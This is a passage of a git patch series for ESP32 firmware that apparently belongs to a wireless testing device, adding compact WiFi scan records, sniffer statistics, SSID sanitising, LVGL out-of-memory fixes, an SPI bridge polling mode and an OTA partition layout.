AP MAC + int8_t rssi; // signal strength, dBm + uint8_t channel; // primary channel + uint8_t authmode; // wifi_auth_mode_t value (0=open, 3=wpa2, 6=wpa3, ...) + uint8_t ssid[33]; // null-terminated, sanitized ASCII ('' = hidden) +} __attribute__((packed)) spi_wifi_scan_record_t; + /** * @brief WiFi sniffer stream frame. */ diff --git a/firmware_c5/components/Service/spi_bridge/spi_bridge.c b/firmware_c5/components/Service/spi_bridge/spi_bridge.c index dfae48d72..f5966680b 100644 --- a/firmware_c5/components/Service/spi_bridge/spi_bridge.c +++ b/firmware_c5/components/Service/spi_bridge/spi_bridge.c @@ -281,6 +281,7 @@ static void bridge_task(void *pvParameters) { .signal_rssi = signal_monitor_get_rssi(), .handshake_captured = wifi_sniffer_handshake_captured(), .pmkid_captured = wifi_sniffer_pmkid_captured()}; + wifi_sniffer_fill_ext_stats(&stats); memcpy(resp_payload, &stats, sizeof(stats)); resp_len = sizeof(stats); } else if (index == SPI_DATA_INDEX_DEAUTH_COUNT) { diff --git a/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h b/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h index 3ab02d845..2757b09a7 100644 --- a/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h +++ b/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h @@ -380,10 +380,36 @@ typedef struct { int8_t signal_rssi; bool handshake_captured; bool pmkid_captured; + // Extended monitor stats (appended; older readers can ignore the tail). + uint32_t beacons; // mgmt beacon frames + uint32_t probe_reqs; // mgmt probe requests + uint32_t probe_resps; // mgmt probe responses + uint32_t data_frames; // data frames + uint32_t ctrl_frames; // control frames + uint32_t mgmt_frames; // all management frames + uint32_t pkts_2ghz; // frames captured on 2.4 GHz + uint32_t pkts_5ghz; // frames captured on 5 GHz + uint32_t unique_aps; // distinct BSSIDs seen (approximate) + uint8_t channel; // channel of the last captured frame + int8_t last_rssi; // RSSI of the last captured frame (sniffer, not signal monitor) } __attribute__((packed)) spi_sniffer_stats_t; #define SPI_WIFI_SNIFFER_MAX_DATA (SPI_MAX_PAYLOAD - 4) +/** + * @brief Compact WiFi scan result, served by SPI_ID_WIFI_APP_SCAN_AP through the + * generic data pipe. Fixed-size and explicit (unlike the raw wifi_ap_record_t) + * so the companion app parses it without depending on the IDF struct layout. + * ssid is sanitized printable ASCII, null-terminated, empty for hidden networks. + */ +typedef struct { + uint8_t bssid[6]; // AP MAC + int8_t rssi; // signal strength, dBm + uint8_t channel; // primary channel + uint8_t authmode; // wifi_auth_mode_t value (0=open, 3=wpa2, 6=wpa3, ...) + uint8_t ssid[33]; // null-terminated, sanitized ASCII ('' = hidden) +} __attribute__((packed)) spi_wifi_scan_record_t; + /** * @brief WiFi sniffer stream frame. */ From bc5e319b3245d9e207f9acced542061f2302e915 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Thu, 11 Jun 2026 16:58:39 -0300 Subject: [PATCH 070/572] feat(wifi): serve a compact scan record to the companion app --- .../Service/spi_bridge/wifi_dispatcher.c | 32 +++++++++++++++++-- 1 file changed, 29 insertions(+), 3 deletions(-) diff --git a/firmware_c5/components/Service/spi_bridge/wifi_dispatcher.c b/firmware_c5/components/Service/spi_bridge/wifi_dispatcher.c index f0d30b981..945035f38 100644 --- a/firmware_c5/components/Service/spi_bridge/wifi_dispatcher.c +++ b/firmware_c5/components/Service/spi_bridge/wifi_dispatcher.c @@ -40,6 +40,10 @@ static const char *TAG = "WIFI_DISPATCHER"; +// Compact scan results for the companion app (SPI_ID_WIFI_APP_SCAN_AP). Built +// from the raw scan once, then served through the generic data pipe. +static spi_wifi_scan_record_t s_app_scan_records[WIFI_SCAN_LIST_SIZE]; + #define WIFI_SSID_MAX_LEN 32 #define WIFI_PASSWORD_MAX_LEN 64 #define WIFI_IP_ADDR_MAX_LEN 15 @@ -227,11 +231,33 @@ spi_status_t wifi_dispatcher_execute(spi_id_t id, wifi_service_stop_channel_hopping(); return SPI_STATUS_OK; - case SPI_ID_WIFI_APP_SCAN_AP: + case SPI_ID_WIFI_APP_SCAN_AP: { wifi_service_scan(); - spi_bridge_provide_results( - wifi_service_get_ap_record(0), wifi_service_get_ap_count(), sizeof(wifi_ap_record_t)); + uint16_t count = wifi_service_get_ap_count(); + if (count > WIFI_SCAN_LIST_SIZE) + count = WIFI_SCAN_LIST_SIZE; + for (uint16_t i = 0; i < count; i++) { + spi_wifi_scan_record_t *rec = &s_app_scan_records[i]; + memset(rec, 0, sizeof(*rec)); + const wifi_ap_record_t *ap = wifi_service_get_ap_record(i); + if (ap == NULL) + continue; + memcpy(rec->bssid, ap->bssid, sizeof(rec->bssid)); + rec->rssi = ap->rssi; + rec->channel = ap->primary; + rec->authmode = (uint8_t)ap->authmode; + // Sanitize the SSID to printable ASCII so the app never has to deal with + // raw/invalid-UTF-8 bytes off the air. Empty stays empty (hidden network). + size_t j = 0; + for (; j < sizeof(rec->ssid) - 1 && ap->ssid[j] != '\0'; j++) { + uint8_t c = ap->ssid[j]; + rec->ssid[j] = (c < 0x20 || c > 0x7E) ? '?' : c; + } + rec->ssid[j] = '\0'; + } + spi_bridge_provide_results(s_app_scan_records, count, sizeof(spi_wifi_scan_record_t)); return SPI_STATUS_OK; + } case SPI_ID_WIFI_APP_SCAN_CLIENT: if (!client_scanner_start()) From 5cf24970d0269862f1444d8bf80156b4080ace88 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Thu, 11 Jun 2026 16:58:39 -0300 Subject: [PATCH 071/572] fix(wifi-ui): prevent scan-list OOM crash and scroll only the focused row --- .../ui/screens/wifi/wifi_scan_ap_ui.c | 55 +++++++++++++++++-- 1 file changed, 51 insertions(+), 4 deletions(-) diff --git a/firmware_p4/components/Applications/ui/screens/wifi/wifi_scan_ap_ui.c b/firmware_p4/components/Applications/ui/screens/wifi/wifi_scan_ap_ui.c index d5c1d7aa1..7c5ad96d4 100644 --- a/firmware_p4/components/Applications/ui/screens/wifi/wifi_scan_ap_ui.c +++ b/firmware_p4/components/Applications/ui/screens/wifi/wifi_scan_ap_ui.c @@ -54,6 +54,12 @@ static const char *TAG = "UI_WIFI_SCAN_AP"; #define POPULATE_BATCH_SIZE 3 #define POPULATE_TIMER_MS 20 +// Cap the on-device list independently of the scan buffer (WIFI_SCAN_LIST_SIZE): +// each row is several LVGL objects and the 64 KB LVGL pool cannot render the +// full 20 at once. The radio still scans all bands; the companion app shows the +// complete list. +#define MAX_DISPLAYED_APS 16 + /* ---- Scan task ---- */ #define SCAN_TASK_NAME "WifiScanAP" #define SCAN_TASK_STACK 4096 @@ -131,16 +137,36 @@ static void init_styles(void) { s_is_styles_init = true; } +// Only the focused row scrolls its text: animating all rows at once is what +// exhausted the LVGL heap. Item layout is [0]=icon, [1]=col -> [0]=line1, +// [1]=line2. Scroll on focus, truncate (dots) otherwise. +static void set_item_scroll(lv_obj_t *item, bool scroll) { + if (item == NULL) + return; + lv_obj_t *col = lv_obj_get_child(item, 1); + if (col == NULL) + return; + lv_label_long_mode_t mode = scroll ? LV_LABEL_LONG_SCROLL_CIRCULAR : LV_LABEL_LONG_DOT; + lv_obj_t *line1 = lv_obj_get_child(col, 0); + lv_obj_t *line2 = lv_obj_get_child(col, 1); + if (line1 != NULL) + lv_label_set_long_mode(line1, mode); + if (line2 != NULL) + lv_label_set_long_mode(line2, mode); +} + static void item_focus_cb(lv_event_t *e) { lv_event_code_t code = lv_event_get_code(e); lv_obj_t *item = lv_event_get_target(e); if (code == LV_EVENT_FOCUSED) { lv_obj_set_style_border_color(item, ui_theme_get_accent(), 0); lv_obj_set_style_border_width(item, STYLE_BORDER_W, 0); + set_item_scroll(item, true); lv_obj_scroll_to_view(item, LV_ANIM_ON); } else if (code == LV_EVENT_DEFOCUSED) { lv_obj_set_style_border_color(item, current_theme.border_inactive, 0); lv_obj_set_style_border_width(item, STYLE_BORDER_W_ITEM, 0); + set_item_scroll(item, false); } else if (code == LV_EVENT_KEY) { uint32_t key = lv_event_get_key(e); if (key == LV_KEY_ESC || key == LV_KEY_LEFT) { @@ -169,7 +195,12 @@ static void screen_event_cb(lv_event_t *e) { } static void add_ap_item(const wifi_ap_record_t *ap) { + // Defensive: if LVGL runs out of its heap mid-list, create calls return NULL. + // Bail cleanly instead of passing NULL into lv_obj_* (which would spin forever + // on a garbage style count and trip the task watchdog). lv_obj_t *item = lv_obj_create(s_list_cont); + if (item == NULL) + return; lv_obj_set_size(item, lv_pct(100), ITEM_H); lv_obj_add_style(item, &s_style_item, 0); lv_obj_set_flex_flow(item, LV_FLEX_FLOW_ROW); @@ -177,12 +208,20 @@ static void add_ap_item(const wifi_ap_record_t *ap) { lv_obj_clear_flag(item, LV_OBJ_FLAG_SCROLLABLE); lv_obj_t *icon = lv_label_create(item); + if (icon == NULL) { + lv_obj_del(item); + return; + } lv_label_set_text(icon, LV_SYMBOL_WIFI); lv_obj_set_style_text_color(icon, current_theme.text_main, 0); lv_obj_set_style_text_opa(icon, rssi_opa(ap->rssi), 0); lv_obj_set_style_margin_right(icon, ICON_MARGIN_RIGHT, 0); lv_obj_t *col = lv_obj_create(item); + if (col == NULL) { + lv_obj_del(item); + return; + } lv_obj_set_size(col, lv_pct(100), lv_pct(100)); lv_obj_set_flex_flow(col, LV_FLEX_FLOW_COLUMN); lv_obj_set_style_bg_opa(col, LV_OPA_TRANSP, 0); @@ -192,12 +231,20 @@ static void add_ap_item(const wifi_ap_record_t *ap) { lv_obj_clear_flag(col, LV_OBJ_FLAG_SCROLLABLE); lv_obj_t *line1 = lv_label_create(col); + if (line1 == NULL) { + lv_obj_del(item); + return; + } lv_obj_set_width(line1, lv_pct(100)); lv_label_set_text_fmt(line1, "%s CH %d %ddBm", (char *)ap->ssid, ap->primary, ap->rssi); - lv_label_set_long_mode(line1, LV_LABEL_LONG_SCROLL_CIRCULAR); + lv_label_set_long_mode(line1, LV_LABEL_LONG_DOT); lv_obj_set_style_text_color(line1, current_theme.text_main, 0); lv_obj_t *line2 = lv_label_create(col); + if (line2 == NULL) { + lv_obj_del(item); + return; + } lv_obj_set_width(line2, lv_pct(100)); lv_label_set_text_fmt(line2, "MAC %02X:%02X:%02X:%02X:%02X:%02X %s", @@ -208,7 +255,7 @@ static void add_ap_item(const wifi_ap_record_t *ap) { ap->bssid[4], ap->bssid[5], authmode_to_str(ap->authmode)); - lv_label_set_long_mode(line2, LV_LABEL_LONG_SCROLL_CIRCULAR); + lv_label_set_long_mode(line2, LV_LABEL_LONG_DOT); if (ap->authmode == WIFI_AUTH_OPEN) { lv_obj_set_style_text_color(line2, current_theme.border_accent, 0); @@ -258,8 +305,8 @@ static void scan_worker_task(void *arg) { (void)arg; wifi_service_scan(); uint16_t count = wifi_service_get_ap_count(); - if (count > WIFI_SCAN_LIST_SIZE) { - count = WIFI_SCAN_LIST_SIZE; + if (count > MAX_DISPLAYED_APS) { + count = MAX_DISPLAYED_APS; } wifi_ap_record_t *results = NULL; From 1c30631818b948225a0b91d3509af0a6229ff39c Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Thu, 11 Jun 2026 16:58:39 -0300 Subject: [PATCH 072/572] fix(wifi): sanitize scanned SSIDs to printable ASCII --- firmware_p4/components/Service/wifi/wifi_service.c | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/firmware_p4/components/Service/wifi/wifi_service.c b/firmware_p4/components/Service/wifi/wifi_service.c index 278d20c95..ef5d2ece0 100644 --- a/firmware_p4/components/Service/wifi/wifi_service.c +++ b/firmware_p4/components/Service/wifi/wifi_service.c @@ -80,6 +80,16 @@ wifi_ap_record_t *wifi_service_get_ap_record(uint16_t index) { &resp, (uint8_t *)&s_cached_record, spi_bridge_get_timeout(SPI_ID_SYSTEM_DATA)) == ESP_OK) { + // SSIDs are arbitrary bytes off the air. Non-printable / invalid-UTF-8 bytes + // hang LVGL's text renderer (the font only has ASCII glyphs anyway), so + // replace anything outside printable ASCII with '?'. Single point, so every + // consumer (console + UI) gets clean text. + for (size_t i = 0; i < sizeof(s_cached_record.ssid) && s_cached_record.ssid[i] != '\0'; i++) { + uint8_t c = s_cached_record.ssid[i]; + if (c < 0x20 || c > 0x7E) { + s_cached_record.ssid[i] = '?'; + } + } // Hidden networks come back with an empty SSID: show a placeholder instead // of a blank row. Single point, so every consumer (console + UI) gets it. if (s_cached_record.ssid[0] == '\0') { From 0c9453d86fadbe042a472aa18a401b391b280d8c Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 15:47:43 -0300 Subject: [PATCH 073/572] feat(spi-bridge): selectable IRQ/POLL handshake mode at init --- .../Service/spi_bridge/include/spi_bridge.h | 12 +++ .../Service/spi_bridge/include/spi_protocol.h | 8 ++ .../Service/spi_bridge/spi_bridge.c | 10 +++ .../spi_bridge_phy/include/spi_bridge_phy.h | 16 +++- .../Drivers/spi_bridge_phy/spi_bridge_phy.c | 28 ++++--- .../Service/spi_bridge/include/spi_bridge.h | 12 +++ .../Service/spi_bridge/include/spi_protocol.h | 8 ++ .../Service/spi_bridge/spi_bridge.c | 82 +++++++++++++++---- 8 files changed, 149 insertions(+), 27 deletions(-) diff --git a/firmware_c5/components/Service/spi_bridge/include/spi_bridge.h b/firmware_c5/components/Service/spi_bridge/include/spi_bridge.h index 1c47afed2..e2432a3b4 100644 --- a/firmware_c5/components/Service/spi_bridge/include/spi_bridge.h +++ b/firmware_c5/components/Service/spi_bridge/include/spi_bridge.h @@ -36,6 +36,18 @@ extern "C" { */ esp_err_t spi_bridge_slave_init(void); +/** + * @brief Initialize the SPI slave in a specific handshake mode. + * + * spi_bridge_slave_init() is the same as this with SPI_BRIDGE_MODE_IRQ. In + * SPI_BRIDGE_MODE_POLL the slave never pulses the IRQ line (the board has no + * IRQ trace); the P4 master must be initialized in the matching mode. + * + * @param mode SPI_BRIDGE_MODE_IRQ (default) or SPI_BRIDGE_MODE_POLL. + * @return ESP_OK on success, or an error code from the SPI slave driver. + */ +esp_err_t spi_bridge_slave_init_mode(spi_bridge_mode_t mode); + /** * @brief Point the bridge to a fixed-size result set in memory. * diff --git a/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h b/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h index 7a074ea83..24351feb1 100644 --- a/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h +++ b/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h @@ -40,6 +40,14 @@ extern "C" { */ typedef enum { SPI_TYPE_CMD = 0x01, SPI_TYPE_RESP = 0x02, SPI_TYPE_STREAM = 0x03 } spi_type_t; +/** + * @brief Bridge handshake mode (physical layer only; the wire protocol is the + * same in both). IRQ: the C5 pulses a GPIO when a response/stream frame is + * armed (default; needs the IRQ trace). POLL: no IRQ line, so the P4 re-clocks + * the bus until the slave answers with a valid frame. + */ +typedef enum { SPI_BRIDGE_MODE_IRQ = 0, SPI_BRIDGE_MODE_POLL = 1 } spi_bridge_mode_t; + /** * @brief SPI command categories (subsystems). * diff --git a/firmware_c5/components/Service/spi_bridge/spi_bridge.c b/firmware_c5/components/Service/spi_bridge/spi_bridge.c index f5966680b..f1eda4f85 100644 --- a/firmware_c5/components/Service/spi_bridge/spi_bridge.c +++ b/firmware_c5/components/Service/spi_bridge/spi_bridge.c @@ -66,6 +66,7 @@ static bool s_is_mesh_toradio_streaming = false; static bool s_is_mcore_rx_streaming = false; static bool s_is_host_rx_streaming = false; static bool s_is_system_log_streaming = false; +static bool s_use_irq = true; // false = POLL mode (no IRQ trace); master polls static portMUX_TYPE s_stream_mux = portMUX_INITIALIZER_UNLOCKED; static volatile bool s_is_restart_pending = false; static char s_firmware_version[SPI_FW_VERSION_LEN] = "unknown"; @@ -148,6 +149,10 @@ bool spi_bridge_stream_push(spi_id_t id, const uint8_t *data, uint8_t len) { } void spi_bridge_notify_master(void) { + // POLL mode has no IRQ trace: the master polls the bus, so skip the pulse. + if (!s_use_irq) { + return; + } // The P4 captures the IRQ via a GPIO rising-edge interrupt, so it only needs // a clean edge — not a held level. A short microsecond pulse replaces the old // 1 ms task delay, which dominated per-frame latency and capped stream rate. @@ -157,6 +162,11 @@ void spi_bridge_notify_master(void) { } esp_err_t spi_bridge_slave_init(void) { + return spi_bridge_slave_init_mode(SPI_BRIDGE_MODE_IRQ); +} + +esp_err_t spi_bridge_slave_init_mode(spi_bridge_mode_t mode) { + s_use_irq = (mode == SPI_BRIDGE_MODE_IRQ); esp_err_t ret = spi_slave_driver_init(); if (ret != ESP_OK) return ret; diff --git a/firmware_p4/components/Drivers/spi_bridge_phy/include/spi_bridge_phy.h b/firmware_p4/components/Drivers/spi_bridge_phy/include/spi_bridge_phy.h index 5fc3666ff..0b58ebe1c 100644 --- a/firmware_p4/components/Drivers/spi_bridge_phy/include/spi_bridge_phy.h +++ b/firmware_p4/components/Drivers/spi_bridge_phy/include/spi_bridge_phy.h @@ -23,13 +23,15 @@ extern "C" { #include #include +#include + #include "esp_err.h" #include "driver/spi_master.h" #define BRIDGE_SPI_HOST SPI2_HOST /** - * @brief Initialize the SPI bridge physical layer. + * @brief Initialize the SPI bridge physical layer with the IRQ line (default). * * Configures SPI2 as master for P4-to-C5 communication and sets up * the IRQ GPIO interrupt. @@ -38,6 +40,18 @@ extern "C" { */ esp_err_t spi_bridge_phy_init(void); +/** + * @brief Initialize the SPI bridge physical layer, optionally without the IRQ. + * + * When setup_irq is false (POLL mode) the IRQ GPIO/ISR is not configured, + * because the board has no IRQ trace. The master then polls the bus instead of + * waiting on spi_bridge_phy_wait_irq(). + * + * @param setup_irq true to wire the IRQ interrupt, false for polled mode. + * @return ESP_OK on success, or an error code. + */ +esp_err_t spi_bridge_phy_init_ex(bool setup_irq); + /** * @brief Perform a full-duplex SPI transaction on the bridge bus. * diff --git a/firmware_p4/components/Drivers/spi_bridge_phy/spi_bridge_phy.c b/firmware_p4/components/Drivers/spi_bridge_phy/spi_bridge_phy.c index 960a72ca8..c533171dc 100644 --- a/firmware_p4/components/Drivers/spi_bridge_phy/spi_bridge_phy.c +++ b/firmware_p4/components/Drivers/spi_bridge_phy/spi_bridge_phy.c @@ -38,6 +38,10 @@ static void IRAM_ATTR irq_handler(void *arg) { } esp_err_t spi_bridge_phy_init(void) { + return spi_bridge_phy_init_ex(true); +} + +esp_err_t spi_bridge_phy_init_ex(bool setup_irq) { s_irq_semaphore = xSemaphoreCreateBinary(); esp_err_t ret = @@ -58,17 +62,21 @@ esp_err_t spi_bridge_phy_init(void) { return ret; } - gpio_config_t io_conf = { - .intr_type = GPIO_INTR_POSEDGE, - .pin_bit_mask = (1ULL << GPIO_BRIDGE_IRQ_PIN), - .mode = GPIO_MODE_INPUT, - .pull_down_en = 1, - }; - gpio_config(&io_conf); - gpio_install_isr_service(0); - gpio_isr_handler_add(GPIO_BRIDGE_IRQ_PIN, irq_handler, NULL); + // POLL mode boards have no IRQ trace: skip the GPIO/ISR entirely. The master + // polls the bus (spi_bridge_phy_wait_irq is never called in that mode). + if (setup_irq) { + gpio_config_t io_conf = { + .intr_type = GPIO_INTR_POSEDGE, + .pin_bit_mask = (1ULL << GPIO_BRIDGE_IRQ_PIN), + .mode = GPIO_MODE_INPUT, + .pull_down_en = 1, + }; + gpio_config(&io_conf); + gpio_install_isr_service(0); + gpio_isr_handler_add(GPIO_BRIDGE_IRQ_PIN, irq_handler, NULL); + } - ESP_LOGI(TAG, "SPI bridge PHY initialized"); + ESP_LOGI(TAG, "SPI bridge PHY initialized (%s)", setup_irq ? "IRQ" : "poll"); return ESP_OK; } diff --git a/firmware_p4/components/Service/spi_bridge/include/spi_bridge.h b/firmware_p4/components/Service/spi_bridge/include/spi_bridge.h index 62c483fdf..9282f35a5 100644 --- a/firmware_p4/components/Service/spi_bridge/include/spi_bridge.h +++ b/firmware_p4/components/Service/spi_bridge/include/spi_bridge.h @@ -45,6 +45,18 @@ typedef void (*spi_stream_cb_t)(spi_id_t id, const uint8_t *payload, uint8_t len */ esp_err_t spi_bridge_master_init(void); +/** + * @brief Initialize the SPI master bridge in a specific handshake mode. + * + * spi_bridge_master_init() is the same as calling this with + * SPI_BRIDGE_MODE_IRQ. Use SPI_BRIDGE_MODE_POLL on boards without an IRQ trace; + * the C5 slave must be initialized in the matching mode. + * + * @param mode SPI_BRIDGE_MODE_IRQ (default) or SPI_BRIDGE_MODE_POLL. + * @return ESP_OK on success, or an error code from the PHY driver. + */ +esp_err_t spi_bridge_master_init_mode(spi_bridge_mode_t mode); + /** * @brief Return the timeout (ms) for a given SPI command ID. * diff --git a/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h b/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h index 2757b09a7..80b1f578f 100644 --- a/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h +++ b/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h @@ -40,6 +40,14 @@ extern "C" { */ typedef enum { SPI_TYPE_CMD = 0x01, SPI_TYPE_RESP = 0x02, SPI_TYPE_STREAM = 0x03 } spi_type_t; +/** + * @brief Bridge handshake mode (physical layer only; the wire protocol is the + * same in both). IRQ: the C5 pulses a GPIO when a response/stream frame is + * armed (default; needs the IRQ trace). POLL: no IRQ line, so the P4 re-clocks + * the bus until the slave answers with a valid frame. + */ +typedef enum { SPI_BRIDGE_MODE_IRQ = 0, SPI_BRIDGE_MODE_POLL = 1 } spi_bridge_mode_t; + /** * @brief SPI command categories (subsystems). * diff --git a/firmware_p4/components/Service/spi_bridge/spi_bridge.c b/firmware_p4/components/Service/spi_bridge/spi_bridge.c index a9b5d3da9..0b68d05c0 100644 --- a/firmware_p4/components/Service/spi_bridge/spi_bridge.c +++ b/firmware_p4/components/Service/spi_bridge/spi_bridge.c @@ -18,6 +18,8 @@ #include #include "esp_log.h" +#include "esp_rom_sys.h" +#include "esp_timer.h" #include "freertos/FreeRTOS.h" #include "freertos/semphr.h" #include "freertos/task.h" @@ -36,6 +38,13 @@ static const char *TAG = "SPI_BRIDGE_P4"; #define SPI_IRQ_WAIT_MS 100 #define SPI_STREAM_CB_SLOTS 4 +// POLL-mode handshake: re-clock the bus until the slave answers. The first few +// tries spin tight (low latency for fast commands); after that we yield so a +// long slave op (e.g. a ~27 s WiFi scan) does not hog the CPU. +#define SPI_POLL_FAST_TRIES 32 +#define SPI_POLL_FAST_US 150 +#define SPI_POLL_SLOW_MS 2 + typedef struct { spi_id_t id; spi_stream_cb_t cb; @@ -46,9 +55,12 @@ static TaskHandle_t s_stream_task_handle = NULL; static volatile bool s_is_command_in_flight = false; static volatile bool s_bridge_alive = true; static stream_cb_slot_t s_stream_cbs[SPI_STREAM_CB_SLOTS] = {0}; +static spi_bridge_mode_t s_bridge_mode = SPI_BRIDGE_MODE_IRQ; static void stream_task(void *arg); static esp_err_t fetch_stream(const uint8_t **out_records, uint16_t *out_batch_len); +static esp_err_t recv_frame(uint8_t *tx_buf, uint8_t *rx_buf, size_t frame_size, uint16_t expect_cmd, + bool match_cmd, uint32_t timeout_ms); static spi_stream_cb_t get_stream_cb(spi_id_t id); static bool has_any_stream_cb(void); @@ -71,10 +83,60 @@ static esp_err_t status_to_err(spi_status_t status) { // Public functions esp_err_t spi_bridge_master_init(void) { + return spi_bridge_master_init_mode(SPI_BRIDGE_MODE_IRQ); +} + +esp_err_t spi_bridge_master_init_mode(spi_bridge_mode_t mode) { + s_bridge_mode = mode; if (s_spi_mutex == NULL) { s_spi_mutex = xSemaphoreCreateMutex(); } - return spi_bridge_phy_init(); + return spi_bridge_phy_init_ex(mode == SPI_BRIDGE_MODE_IRQ); +} + +// Read one response/stream frame from the slave into rx_buf. +// IRQ mode: wait for the C5's IRQ pulse, then clock a single frame. +// POLL mode: re-clock the bus until a frame with a valid sync byte (and, when +// match_cmd, the expected category/op) comes back. While the slave +// is still busy it has no TX armed and reads back as junk, so we +// retry until it answers or the timeout elapses. +// tx_buf is used as the (zeroed) outgoing dummy; frame_size is the transfer size. +static esp_err_t recv_frame(uint8_t *tx_buf, uint8_t *rx_buf, size_t frame_size, uint16_t expect_cmd, + bool match_cmd, uint32_t timeout_ms) { + memset(tx_buf, 0, frame_size); + + if (s_bridge_mode == SPI_BRIDGE_MODE_IRQ) { + esp_err_t ret = spi_bridge_phy_wait_irq(timeout_ms); + if (ret != ESP_OK) { + return ret; + } + memset(rx_buf, 0, frame_size); + return spi_bridge_phy_transmit(tx_buf, rx_buf, frame_size); + } + + // POLL mode. + int64_t deadline = esp_timer_get_time() + (int64_t)timeout_ms * 1000; + uint32_t tries = 0; + do { + memset(rx_buf, 0, frame_size); + esp_err_t ret = spi_bridge_phy_transmit(tx_buf, rx_buf, frame_size); + if (ret != ESP_OK) { + return ret; + } + const spi_header_t *resp = (const spi_header_t *)rx_buf; + bool armed = (resp->sync == SPI_SYNC_BYTE) && + (resp->type == SPI_TYPE_RESP || resp->type == SPI_TYPE_STREAM); + if (armed && (!match_cmd || spi_header_cmd(resp) == expect_cmd)) { + return ESP_OK; + } + if (tries++ < SPI_POLL_FAST_TRIES) { + esp_rom_delay_us(SPI_POLL_FAST_US); + } else { + vTaskDelay(pdMS_TO_TICKS(SPI_POLL_SLOW_MS)); + } + } while (esp_timer_get_time() < deadline); + + return ESP_ERR_TIMEOUT; } void spi_bridge_register_stream_cb(spi_id_t id, spi_stream_cb_t cb) { @@ -182,7 +244,7 @@ esp_err_t spi_bridge_send_command(spi_id_t id, return ret; } - ret = spi_bridge_phy_wait_irq(timeout_ms); + ret = recv_frame(tx_buf, rx_buf, SPI_FRAME_SIZE, id, true, timeout_ms); if (ret != ESP_OK) { ESP_LOGW(TAG, "Command 0x%04X timeout", id); s_is_command_in_flight = false; @@ -190,15 +252,6 @@ esp_err_t spi_bridge_send_command(spi_id_t id, return ret; } - memset(tx_buf, 0, sizeof(tx_buf)); - memset(rx_buf, 0, sizeof(rx_buf)); - ret = spi_bridge_phy_transmit(tx_buf, rx_buf, SPI_FRAME_SIZE); - if (ret != ESP_OK) { - s_is_command_in_flight = false; - xSemaphoreGive(s_spi_mutex); - return ret; - } - spi_header_t *resp = (spi_header_t *)rx_buf; if (resp->sync != SPI_SYNC_BYTE) { @@ -298,11 +351,8 @@ static esp_err_t fetch_stream(const uint8_t **out_records, uint16_t *out_batch_l if (ret != ESP_OK) return ret; - ret = spi_bridge_phy_wait_irq(SPI_IRQ_WAIT_MS); - if (ret != ESP_OK) - return ret; - - ret = spi_bridge_phy_transmit(s_stream_tx, s_stream_rx, SPI_STREAM_FRAME_SIZE); + // Accept either a STREAM frame (data or empty) or a RESP (error status). + ret = recv_frame(s_stream_tx, s_stream_rx, SPI_STREAM_FRAME_SIZE, 0, false, SPI_IRQ_WAIT_MS); if (ret != ESP_OK) return ret; From b42805e858797a8cd2253278c722a9ed8fb403c7 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 16:28:51 -0300 Subject: [PATCH 074/572] feat(c5): OTA partition table and USB-JTAG console --- firmware_c5/partitions.csv | 10 ++++++---- firmware_c5/sdkconfig.defaults | 5 +++-- 2 files changed, 9 insertions(+), 6 deletions(-) diff --git a/firmware_c5/partitions.csv b/firmware_c5/partitions.csv index 3b3205835..6a7c35c0e 100644 --- a/firmware_c5/partitions.csv +++ b/firmware_c5/partitions.csv @@ -1,6 +1,8 @@ # Name, Type, SubType, Offset, Size, Flags nvs, data, nvs, 0x9000, 24K, -phy_init, data, phy, 0xf000, 4K, -factory, app, factory, 0x10000, 2M, -storage, data, fat, , 2M, -assets, data, littlefs, 0x410000, 2M, +otadata, data, ota, 0xf000, 8K, +phy_init, data, phy, 0x11000, 4K, +ota_0, app, ota_0, 0x20000, 2M, +ota_1, app, ota_1, 0x220000, 2M, +storage, data, fat, 0x420000, 2M, +assets, data, littlefs, 0x620000, 1920K, diff --git a/firmware_c5/sdkconfig.defaults b/firmware_c5/sdkconfig.defaults index 400833c47..13bddcc9a 100644 --- a/firmware_c5/sdkconfig.defaults +++ b/firmware_c5/sdkconfig.defaults @@ -26,8 +26,9 @@ CONFIG_SPIRAM_MALLOC_RESERVE_INTERNAL=32768 # Larger stack for kernel_init CONFIG_ESP_MAIN_TASK_STACK_SIZE=8192 -# Console via UART0 (CH340 on C5 devkit: GPIO11/12) -CONFIG_ESP_CONSOLE_UART_DEFAULT=y +# Console on USB-Serial-JTAG so UART0 is free for the C5 OTA receiver (see ota_service). +# C5 logs are also teed to the P4 over SPI, so no observability is lost. +CONFIG_ESP_CONSOLE_USB_SERIAL_JTAG=y CONFIG_ESP_CONSOLE_SECONDARY_NONE=y # Bluetooth NimBLE From 78a35b284a26d7b669e29fb236053943560adaa7 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 16:28:51 -0300 Subject: [PATCH 075/572] feat(c5-ota): UART firmware receiver via esp_ota --- firmware_c5/components/Core/kernel.c | 4 +- firmware_c5/components/Service/CMakeLists.txt | 3 + .../Service/ota/include/ota_service.h | 35 +++ .../components/Service/ota/ota_service.c | 213 ++++++++++++++++++ 4 files changed, 254 insertions(+), 1 deletion(-) create mode 100644 firmware_c5/components/Service/ota/include/ota_service.h create mode 100644 firmware_c5/components/Service/ota/ota_service.c diff --git a/firmware_c5/components/Core/kernel.c b/firmware_c5/components/Core/kernel.c index 5fd37d852..28fc75b5c 100644 --- a/firmware_c5/components/Core/kernel.c +++ b/firmware_c5/components/Core/kernel.c @@ -29,6 +29,7 @@ #include "c5_log.h" #include "i2c_init.h" #include "led_control.h" +#include "ota_service.h" #include "pin_def.h" #include "spi_bridge.h" #include "storage_assets.h" @@ -57,7 +58,8 @@ void kernel_init(void) { // led_rgb_init(); bq25896_init(); spi_bridge_slave_init(); - 